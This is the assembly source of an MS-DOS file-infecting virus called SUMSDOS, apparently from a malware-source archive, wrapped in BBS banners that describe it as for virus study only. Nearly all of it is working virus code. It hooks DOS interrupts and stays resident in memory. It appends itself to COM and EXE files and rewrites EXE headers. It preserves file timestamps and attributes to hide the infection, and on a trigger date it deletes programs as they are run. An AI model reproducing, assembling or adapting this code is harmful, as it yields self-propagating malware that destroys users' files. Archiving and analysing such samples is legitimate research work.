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MalwareSourceCode/MSDOS/S-Index/Virus.MSDOS.Unknown.sumsdos.asm
vxunderground 4b9382ddbc re-organize 
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2022-08-21 04:07:57 -05:00

787 lines
22 KiB
NASM
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;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
PAGE 60,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ SUMSDOS ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
DATA_1E EQU 2CH ; (0000:002C=0FF23H)
DATA_2E EQU 43H ; (3E00:0043=0FFFFH)
DATA_3E EQU 45H ; (3E00:0045=0FFFFH)
DATA_4E EQU 47H ; (3E00:0047=0FFFFH)
DATA_5E EQU 49H ; (3E00:0049=0FFFFH)
DATA_6E EQU 51H ; (3E00:0051=0FFFFH)
DATA_7E EQU 53H ; (3E00:0053=0FFFFH)
DATA_8E EQU 57H ; (3E00:0057=0FFFFH)
DATA_9E EQU 5DH ; (3E00:005D=0FFFFH)
DATA_10E EQU 5FH ; (3E00:005F=0FFFFH)
DATA_11E EQU 61H ; (3E00:0061=0FFFFH)
DATA_12E EQU 63H ; (3E00:0063=0FFFFH)
DATA_13E EQU 65H ; (3E00:0065=0FFFFH)
DATA_14E EQU 78H ; (3E00:0078=0FFFFH)
DATA_15E EQU 7AH ; (3E00:007A=0FFFFH)
DATA_16E EQU 7CH ; (3E00:007C=0FFFFH)
DATA_17E EQU 7EH ; (3E00:007E=0FFFFH)
DATA_18E EQU 0AH ; (6CAF:000A=0)
DATA_19E EQU 0CH ; (6CAF:000C=0)
DATA_20E EQU 0EH ; (6CAF:000E=0)
DATA_21E EQU 0FH ; (6CAF:000F=0)
DATA_22E EQU 11H ; (6CAF:0011=0)
DATA_23E EQU 13H ; (6CAF:0013=0)
DATA_24E EQU 15H ; (6CAF:0015=0)
DATA_25E EQU 17H ; (6CAF:0017=0)
DATA_26E EQU 19H ; (6CAF:0019=0)
DATA_27E EQU 1BH ; (6CAF:001B=0)
DATA_28E EQU 1DH ; (6CAF:001D=0)
DATA_29E EQU 1FH ; (6CAF:001F=0)
DATA_30E EQU 29H ; (6CAF:0029=0)
DATA_31E EQU 2BH ; (6CAF:002B=0)
DATA_32E EQU 2DH ; (6CAF:002D=0)
DATA_33E EQU 2FH ; (6CAF:002F=0)
DATA_34E EQU 31H ; (6CAF:0031=0)
DATA_35E EQU 33H ; (6CAF:0033=0)
DATA_36E EQU 4EH ; (6CAF:004E=0)
DATA_37E EQU 70H ; (6CAF:0070=0)
DATA_38E EQU 72H ; (6CAF:0072=0)
DATA_39E EQU 74H ; (6CAF:0074=0)
DATA_40E EQU 76H ; (6CAF:0076=0)
DATA_41E EQU 7AH ; (6CAF:007A=0)
DATA_42E EQU 80H ; (6CAF:0080=0)
DATA_43E EQU 82H ; (6CAF:0082=0)
DATA_44E EQU 8FH ; (6CAF:008F=0)
CODESEG SEGMENT
ASSUME CS:CODESEG, DS:CODESEG
ORG 100h
sumsdos PROC FAR
start:
JMP LOC_2
DB 73H, 55H, 4DH, 73H, 44H, 6FH
DB 73H, 0, 1, 0BCH, 17H, 0
DB 0, 0, 5, 0, 2BH, 2
DB 70H, 0, 6EH, 6, 20H, 0BH
DB 0EBH, 4, 14H, 0AH, 92H, 7BH
DB 0
DB 12 DUP (0)
DB 0E8H, 6, 0ECH, 37H, 17H, 80H
DB 0, 0, 0, 80H, 0, 37H
DB 17H, 5CH, 0, 37H, 17H, 6CH
DB 0, 37H, 17H, 10H, 7, 4CH
DB 72H, 0C5H, 0, 4CH, 72H, 0
DB 0F0H, 46H, 0, 4DH, 5AH, 60H
DB 0, 0CEH, 2, 9FH, 26H, 0C0H
DB 9, 7, 0, 7, 0, 75H
DB 4FH, 10H, 7, 84H, 19H, 0C5H
DB 0, 75H, 4FH, 1EH, 0, 0
DB 0, 0B8H, 0, 4CH, 0CDH, 21H
DB 5, 0, 20H, 0, 49H, 13H
DB 91H, 0B3H, 0, 2, 10H, 0
DB 50H, 93H, 5, 0, 5BH, 3DH
DB 70H, 0ABH
DB 'COMMAND.COM'
DB 1, 0, 0, 0, 0, 0
LOC_2:
CLD ; Clear direction
MOV AH,0E0H
INT 21H ; DOS Services ah=function E0h
CMP AH,0E0H
JAE LOC_3 ; Jump if above or =
CMP AH,3
JB LOC_3 ; Jump if below
MOV AH,0DDH
MOV DI,100H
MOV SI,710H
ADD SI,DI
MOV CX,CS:[DI+11H]
INT 21H ; DOS Services ah=function DDh
LOC_3:
MOV AX,CS
ADD AX,10H
MOV SS,AX
MOV SP,700H
PUSH AX
MOV AX,0C5H
PUSH AX
RET ; Return far
DB 0FCH, 6, 2EH, 8CH, 6, 31H
DB 0, 2EH, 8CH, 6, 39H, 0
DB 2EH, 8CH, 6, 3DH, 0, 2EH
DB 8CH, 6, 41H, 0, 8CH, 0C0H
DB 5, 10H, 0, 2EH, 1, 6
DB 49H, 0, 2EH, 1, 6, 45H
DB 0, 0B4H, 0E0H, 0CDH, 21H, 80H
DB 0FCH, 0E0H, 73H, 13H, 80H, 0FCH
DB 3, 7, 2EH, 8EH, 16H, 45H
DB 0, 2EH, 8BH, 26H, 43H, 0
DB 2EH, 0FFH, 2EH, 47H, 0, 33H
DB 0C0H, 8EH, 0C0H, 26H, 0A1H, 0FCH
DB 3, 2EH, 0A3H, 4BH, 0, 26H
DB 0A0H, 0FEH, 3, 2EH, 0A2H, 4DH
DB 0
DB 26H
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_24h_entry PROC FAR
MOV DATA_46,0A5F3H ; (6CAF:03FC=29H)
MOV ES:DATA_47,0CBH ; (6CAF:03FE=2EH)
POP AX
ADD AX,10H
MOV ES,AX
PUSH CS
POP DS
MOV CX,710H
SHR CX,1 ; Shift w/zeros fill
XOR SI,SI ; Zero register
MOV DI,SI
PUSH ES
MOV AX,142H
PUSH AX
JMP FAR PTR LOC_1
DB 8CH, 0C8H, 8EH, 0D0H, 0BCH, 0
DB 7, 33H, 0C0H, 8EH, 0D8H, 2EH
DB 0A1H, 4BH, 0, 0A3H, 0FCH, 3
DB 2EH, 0A0H, 4DH, 0, 0A2H, 0FEH
DB 3
int_24h_entry ENDP
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_21h_entry PROC FAR
MOV BX,SP
MOV CL,4
SHR BX,CL ; Shift w/zeros fill
ADD BX,10H
MOV CS:DATA_35E,BX ; (6CAF:0033=0)
MOV AH,4AH ; 'J'
MOV ES,CS:DATA_34E ; (6CAF:0031=0)
INT 21H ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
MOV AX,3521H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV CS:DATA_25E,BX ; (6CAF:0017=0)
MOV CS:DATA_26E,ES ; (6CAF:0019=0)
PUSH CS
POP DS
MOV DX,25BH
MOV AX,2521H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
MOV ES,DS:DATA_34E ; (6CAF:0031=0)
MOV ES,ES:DATA_1E ; (0000:002C=0FF23H)
XOR DI,DI ; Zero register
MOV CX,7FFFH
XOR AL,AL ; Zero register
LOCLOOP_5:
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
CMP ES:[DI],AL
LOOPNZ LOCLOOP_5 ; Loop if zf=0, cx>0
MOV DX,DI
ADD DX,3
MOV AX,4B00H
PUSH ES
POP DS
PUSH CS
POP ES
MOV BX,35H
PUSH DS
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
MOV AH,2AH ; '*'
INT 21H ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
MOV BYTE PTR CS:DATA_20E,0 ; (6CAF:000E=0)
CMP CX,7C3H
JE LOC_7 ; Jump if equal
CMP AL,5
JNE LOC_6 ; Jump if not equal
CMP DL,0DH
JNE LOC_6 ; Jump if not equal
INC BYTE PTR CS:DATA_20E ; (6CAF:000E=0)
JMP SHORT LOC_7
DB 90H
LOC_6:
MOV AX,3508H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV CS:DATA_23E,BX ; (6CAF:0013=0)
MOV CS:DATA_24E,ES ; (6CAF:0015=0)
PUSH CS
POP DS
MOV WORD PTR DS:DATA_29E,7E90H ; (6CAF:001F=0)
MOV AX,2508H
MOV DX,21EH
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
LOC_7:
POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
PUSH DS
POP ES
MOV AH,49H ; 'I'
INT 21H ; DOS Services ah=function 49h
; release memory block, es=seg
MOV AH,4DH ; 'M'
INT 21H ; DOS Services ah=function 4Dh
; get return code info in ax
MOV AH,31H ; '1'
MOV DX,600H
MOV CL,4
SHR DX,CL ; Shift w/zeros fill
ADD DX,10H
INT 21H ; DOS Services ah=function 31h
; terminate & stay resident
DB 32H, 0C0H, 0CFH, 2EH, 83H, 3EH
DB 1FH, 0, 2, 75H, 17H, 50H
DB 53H, 51H, 52H, 55H, 0B8H, 2
DB 6, 0B7H, 87H, 0B9H, 5, 5
DB 0BAH, 10H, 10H, 0CDH, 10H, 5DH
DB 5AH, 59H, 5BH, 58H, 2EH, 0FFH
DB 0EH, 1FH, 0, 75H, 12H, 2EH
DB 0C7H, 6, 1FH, 0, 1, 0
DB 50H, 51H, 56H, 0B9H, 1, 40H
DB 0F3H, 0ACH, 5EH, 59H, 58H, 2EH
DB 0FFH, 2EH, 13H, 0, 9CH, 80H
DB 0FCH, 0E0H, 75H, 5, 0B8H, 0
DB 3, 9DH, 0CFH, 80H, 0FCH, 0DDH
DB 74H, 13H, 80H, 0FCH, 0DEH, 74H
DB 28H, 3DH, 0, 4BH, 75H, 3
DB 0E9H, 0B4H, 0
LOC_8:
POPF ; Pop flags
JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
LOC_9:
POP AX
POP AX
MOV AX,100H
MOV CS:DATA_18E,AX ; (6CAF:000A=0)
POP AX
MOV CS:DATA_19E,AX ; (6CAF:000C=0)
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
POPF ; Pop flags
MOV AX,CS:DATA_21E ; (6CAF:000F=0)
JMP DWORD PTR CS:DATA_18E ; (6CAF:000A=0)
LOC_10:
ADD SP,6
POPF ; Pop flags
MOV AX,CS
MOV SS,AX
MOV SP,710H
PUSH ES
PUSH ES
XOR DI,DI ; Zero register
PUSH CS
POP ES
MOV CX,10H
MOV SI,BX
MOV DI,21H
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV AX,DS
MOV ES,AX
MUL WORD PTR CS:DATA_41E ; (6CAF:007A=0) ax = data * ax
ADD AX,CS:DATA_31E ; (6CAF:002B=0)
ADC DX,0
DIV WORD PTR CS:DATA_41E ; (6CAF:007A=0) ax,dxrem=dx:ax/data
MOV DS,AX
MOV SI,DX
MOV DI,DX
MOV BP,ES
MOV BX,CS:DATA_33E ; (6CAF:002F=0)
OR BX,BX ; Zero ?
JZ LOC_12 ; Jump if zero
LOC_11:
MOV CX,8000H
REP MOVSW ; Rep while cx>0 Mov [si] to es:[di]
ADD AX,1000H
ADD BP,1000H
MOV DS,AX
MOV ES,BP
DEC BX
JNZ LOC_11 ; Jump if not zero
LOC_12:
MOV CX,CS:DATA_32E ; (6CAF:002D=0)
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
POP AX
PUSH AX
ADD AX,10H
ADD CS:DATA_30E,AX ; (6CAF:0029=0)
DATA_47 DB 2EH
DB 1, 6, 25H, 0, 2EH, 0A1H
DB 21H, 0, 1FH, 7, 2EH, 8EH
DB 16H, 29H, 0, 2EH, 8BH, 26H
DB 27H, 0, 2EH, 0FFH, 2EH, 23H
DB 0
LOC_13:
XOR CX,CX ; Zero register
MOV AX,4301H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
MOV AH,41H ; 'A'
INT 21H ; DOS Services ah=function 41h
; delete file, name @ ds:dx
MOV AX,4B00H
POPF ; Pop flags
JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
LOC_14:
CMP BYTE PTR CS:DATA_20E,1 ; (6CAF:000E=0)
JE LOC_13 ; Jump if equal
MOV WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0)
MOV WORD PTR CS:DATA_44E,0 ; (6CAF:008F=0)
MOV CS:DATA_42E,DX ; (6CAF:0080=0)
MOV CS:DATA_43E,DS ; (6CAF:0082=0)
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
CLD ; Clear direction
MOV DI,DX
XOR DL,DL ; Zero register
CMP BYTE PTR [DI+1],3AH ; ':'
JNE LOC_15 ; Jump if not equal
MOV DL,[DI]
AND DL,1FH
LOC_15:
MOV AH,36H ; '6'
INT 21H ; DOS Services ah=function 36h
; get free space, drive dl,1=a:
CMP AX,0FFFFH
JNE LOC_17 ; Jump if not equal
LOC_16:
JMP LOC_43
LOC_17:
MUL BX ; dx:ax = reg * ax
MUL CX ; dx:ax = reg * ax
OR DX,DX ; Zero ?
JNZ LOC_18 ; Jump if not zero
CMP AX,710H
JB LOC_16 ; Jump if below
LOC_18:
MOV DX,CS:DATA_42E ; (6CAF:0080=0)
PUSH DS
POP ES
XOR AL,AL ; Zero register
MOV CX,41H
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
MOV SI,CS:DATA_42E ; (6CAF:0080=0)
LOC_19:
MOV AL,[SI]
OR AL,AL ; Zero ?
JZ LOC_21 ; Jump if zero
CMP AL,61H ; 'a'
JB LOC_20 ; Jump if below
CMP AL,7AH ; 'z'
JA LOC_20 ; Jump if above
SUB BYTE PTR [SI],20H ; ' '
LOC_20:
INC SI
JMP SHORT LOC_19
LOC_21:
MOV CX,0BH
SUB SI,CX
MOV DI,84H
PUSH CS
POP ES
MOV CX,0BH
REPE CMPSB ; Rept zf=1+cx>0 Cmp [si] to es:[di]
JNZ LOC_22 ; Jump if not zero
JMP LOC_43
LOC_22:
MOV AX,4300H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
JC LOC_23 ; Jump if carry Set
MOV CS:DATA_38E,CX ; (6CAF:0072=0)
LOC_23:
JC LOC_25 ; Jump if carry Set
XOR AL,AL ; Zero register
MOV CS:DATA_36E,AL ; (6CAF:004E=0)
PUSH DS
POP ES
MOV DI,DX
MOV CX,41H
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
CMP BYTE PTR [DI-2],4DH ; 'M'
JE LOC_24 ; Jump if equal
CMP BYTE PTR [DI-2],6DH ; 'm'
JE LOC_24 ; Jump if equal
INC BYTE PTR CS:DATA_36E ; (6CAF:004E=0)
LOC_24:
MOV AX,3D00H
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
LOC_25:
JC LOC_27 ; Jump if carry Set
MOV CS:DATA_37E,AX ; (6CAF:0070=0)
MOV BX,AX
MOV AX,4202H
MOV CX,0FFFFH
MOV DX,0FFFBH
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_25 ; Jump if carry Set
ADD AX,5
MOV CS:DATA_22E,AX ; (6CAF:0011=0)
MOV CX,5
MOV DX,6BH
MOV AX,CS
MOV DS,AX
MOV ES,AX
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
MOV DI,DX
MOV SI,5
REPE CMPSB ; Rept zf=1+cx>0 Cmp [si] to es:[di]
JNZ LOC_26 ; Jump if not zero
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JMP LOC_43
LOC_26:
MOV AX,3524H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DS:DATA_27E,BX ; (6CAF:001B=0)
MOV DS:DATA_28E,ES ; (6CAF:001D=0)
MOV DX,21BH
MOV AX,2524H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
LDS DX,DWORD PTR DS:DATA_42E ; (6CAF:0080=0) Load 32 bit ptr
XOR CX,CX ; Zero register
MOV AX,4301H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
LOC_27:
JC LOC_28 ; Jump if carry Set
MOV BX,CS:DATA_37E ; (6CAF:0070=0)
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
MOV WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0)
MOV AX,3D02H
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
JC LOC_28 ; Jump if carry Set
MOV CS:DATA_37E,AX ; (6CAF:0070=0)
MOV AX,CS
MOV DS,AX
MOV ES,AX
MOV BX,DS:DATA_37E ; (6CAF:0070=0)
MOV AX,5700H
INT 21H ; DOS Services ah=function 57h
; get/set file date & time
MOV DS:DATA_39E,DX ; (6CAF:0074=0)
MOV DS:DATA_40E,CX ; (6CAF:0076=0)
MOV AX,4200H
XOR CX,CX ; Zero register
MOV DX,CX
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
LOC_28:
JC LOC_31 ; Jump if carry Set
CMP BYTE PTR DS:DATA_36E,0 ; (6CAF:004E=0)
JE LOC_29 ; Jump if equal
JMP SHORT LOC_33
DB 90H
LOC_29:
MOV BX,1000H
MOV AH,48H ; 'H'
INT 21H ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
JNC LOC_30 ; Jump if carry=0
MOV AH,3EH ; '>'
MOV BX,DS:DATA_37E ; (6CAF:0070=0)
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
JMP LOC_43
LOC_30:
INC WORD PTR DS:DATA_44E ; (6CAF:008F=0)
MOV ES,AX
XOR SI,SI ; Zero register
MOV DI,SI
MOV CX,710H
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV DX,DI
MOV CX,DS:DATA_22E ; (6CAF:0011=0)
MOV BX,DS:DATA_37E ; (6CAF:0070=0)
PUSH ES
POP DS
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
LOC_31:
JC LOC_32 ; Jump if carry Set
ADD DI,CX
XOR CX,CX ; Zero register
MOV DX,CX
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
MOV SI,5
MOV CX,5
DB 0F3H, 2EH, 0A4H, 8BH, 0CFH, 33H
DB 0D2H, 0B4H, 40H, 0CDH
DB 21H
LOC_32:
JC LOC_34 ; Jump if carry Set
JMP LOC_41
LOC_33:
MOV CX,1CH
MOV DX,4FH
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
LOC_34:
JC LOC_36 ; Jump if carry Set
MOV WORD PTR DS:DATA_11E,1984H ; (3E00:0061=0FFFFH)
MOV AX,DS:DATA_9E ; (3E00:005D=0FFFFH)
MOV DS:DATA_3E,AX ; (3E00:0045=0FFFFH)
MOV AX,DS:DATA_10E ; (3E00:005F=0FFFFH)
MOV DS:DATA_2E,AX ; (3E00:0043=0FFFFH)
MOV AX,DS:DATA_12E ; (3E00:0063=0FFFFH)
MOV DS:DATA_4E,AX ; (3E00:0047=0FFFFH)
MOV AX,DS:DATA_13E ; (3E00:0065=0FFFFH)
MOV DS:DATA_5E,AX ; (3E00:0049=0FFFFH)
MOV AX,DS:DATA_7E ; (3E00:0053=0FFFFH)
CMP WORD PTR DS:DATA_6E,0 ; (3E00:0051=0FFFFH)
JE LOC_35 ; Jump if equal
DEC AX
LOC_35:
MUL WORD PTR DS:DATA_14E ; (3E00:0078=0FFFFH) ax = data * ax
ADD AX,DS:DATA_6E ; (3E00:0051=0FFFFH)
ADC DX,0
ADD AX,0FH
ADC DX,0
AND AX,0FFF0H
MOV DS:DATA_16E,AX ; (3E00:007C=0FFFFH)
MOV DS:DATA_17E,DX ; (3E00:007E=0FFFFH)
ADD AX,710H
ADC DX,0
LOC_36:
JC LOC_38 ; Jump if carry Set
DIV WORD PTR DS:DATA_14E ; (3E00:0078=0FFFFH) ax,dxrem=dx:ax/da
OR DX,DX ; Zero ?
JZ LOC_37 ; Jump if zero
INC AX
LOC_37:
MOV DS:DATA_7E,AX ; (3E00:0053=0FFFFH)
MOV DS:DATA_6E,DX ; (3E00:0051=0FFFFH)
MOV AX,DS:DATA_16E ; (3E00:007C=0FFFFH)
MOV DX,DS:DATA_17E ; (3E00:007E=0FFFFH)
DIV WORD PTR DS:DATA_15E ; (3E00:007A=0FFFFH) ax,dxrem=dx:ax/da
SUB AX,DS:DATA_8E ; (3E00:0057=0FFFFH)
MOV DS:DATA_13E,AX ; (3E00:0065=0FFFFH)
MOV WORD PTR DS:DATA_12E,0C5H ; (3E00:0063=0FFFFH)
MOV DS:DATA_9E,AX ; (3E00:005D=0FFFFH)
MOV WORD PTR DS:DATA_10E,710H ; (3E00:005F=0FFFFH)
XOR CX,CX ; Zero register
MOV DX,CX
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
LOC_38:
JC LOC_39 ; Jump if carry Set
MOV CX,1CH
MOV DX,4FH
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
LOC_39:
JC LOC_40 ; Jump if carry Set
CMP AX,CX
JNE LOC_41 ; Jump if not equal
MOV DX,DS:DATA_16E ; (3E00:007C=0FFFFH)
MOV CX,DS:DATA_17E ; (3E00:007E=0FFFFH)
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
LOC_40:
JC LOC_41 ; Jump if carry Set
XOR DX,DX ; Zero register
MOV CX,710H
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
LOC_41:
CMP WORD PTR CS:DATA_44E,0 ; (6CAF:008F=0)
JE LOC_42 ; Jump if equal
MOV AH,49H ; 'I'
INT 21H ; DOS Services ah=function 49h
; release memory block, es=seg
LOC_42:
CMP WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0)
JE LOC_43 ; Jump if equal
MOV BX,CS:DATA_37E ; (6CAF:0070=0)
MOV DX,CS:DATA_39E ; (6CAF:0074=0)
MOV CX,CS:DATA_40E ; (6CAF:0076=0)
MOV AX,5701H
INT 21H ; DOS Services ah=function 57h
; get/set file date & time
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
LDS DX,DWORD PTR CS:DATA_42E ; (6CAF:0080=0) Load 32 bit ptr
MOV CX,CS:DATA_38E ; (6CAF:0072=0)
MOV AX,4301H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
LDS DX,DWORD PTR CS:DATA_27E ; (6CAF:001B=0) Load 32 bit ptr
MOV AX,2524H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
LOC_43:
POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF ; Pop flags
JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
DB 11 DUP (0)
DB 4DH, 14H, 0AH, 0, 10H
DB 11 DUP (0)
DB 0E9H, 92H, 0, 73H, 55H, 4DH
DB 73H, 44H, 6FH, 73H, 0, 1
DB 0BCH, 17H, 0, 0, 0, 5
DB 0, 2BH, 2, 70H, 0, 6EH
DB 6, 20H, 0BH, 0EBH, 4, 14H
DB 0AH, 92H, 7BH, 0
DB 12 DUP (0)
DB 0E8H, 6, 0ECH, 37H, 17H, 80H
DB 0, 0, 0, 80H, 0, 37H
DB 17H, 5CH, 0, 37H, 17H, 6CH
DB 0, 37H, 17H, 10H, 7, 4CH
DB 72H, 0C5H, 0, 4CH, 72H, 0
DB 0F0H, 46H, 0, 4DH, 5AH, 60H
DB 0, 0CEH, 2, 9FH, 26H, 0C0H
DB 9, 7, 0, 7, 0, 75H
DB 4FH, 10H, 7, 84H, 19H, 0C5H
DB 0, 75H, 4FH, 1EH, 0, 0
DB 0, 0B8H, 0, 4CH, 0CDH, 21H
DB 5, 0, 20H, 0, 49H, 13H
DB 91H, 0B3H, 0, 2, 10H, 0
DB 50H, 93H, 5, 0, 5BH, 3DH
DB 70H, 0ABH
DB 'COMMAND.COM'
DB 1, 0, 0, 0, 0, 0
DB 0FCH, 0B4H, 0E0H, 0CDH, 21H, 80H
DB 0FCH, 0E0H, 73H, 16H, 80H, 0FCH
DB 3, 72H, 11H, 0B4H, 0DDH, 0BFH
DB 0, 1, 0BEH, 10H, 7, 3
DB 0F7H, 2EH, 8BH, 8DH, 11H, 0
DB 0CDH
DB 21H
LOC_44:
MOV AX,CS
ADD AX,10H
MOV SS,AX
MOV SP,700H
PUSH AX
MOV AX,0C5H
PUSH AX
RET ; Return far
int_21h_entry ENDP
DB 0FCH, 6, 2EH, 8CH, 6, 31H
DB 0, 2EH, 8CH, 6, 39H, 0
DB 2EH, 8CH, 6, 3DH, 0, 2EH
DB 8CH, 6, 41H, 0, 8CH, 0C0H
DB 5, 10H, 0, 2EH, 1, 6
DB 49H, 0, 2EH, 1, 6, 45H
DB 0, 0B4H, 0E0H, 0CDH, 21H, 80H
DB 0FCH, 0E0H, 73H, 13H, 80H, 0FCH
DB 3, 7, 2EH, 8EH, 16H, 45H
DB 0, 2EH, 8BH, 26H, 43H, 0B8H
DB 0, 4CH, 0CDH
DB 21H, 4DH, 73H, 44H, 6FH, 73H
sumsdos ENDP
CODESEG ENDS
END START
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
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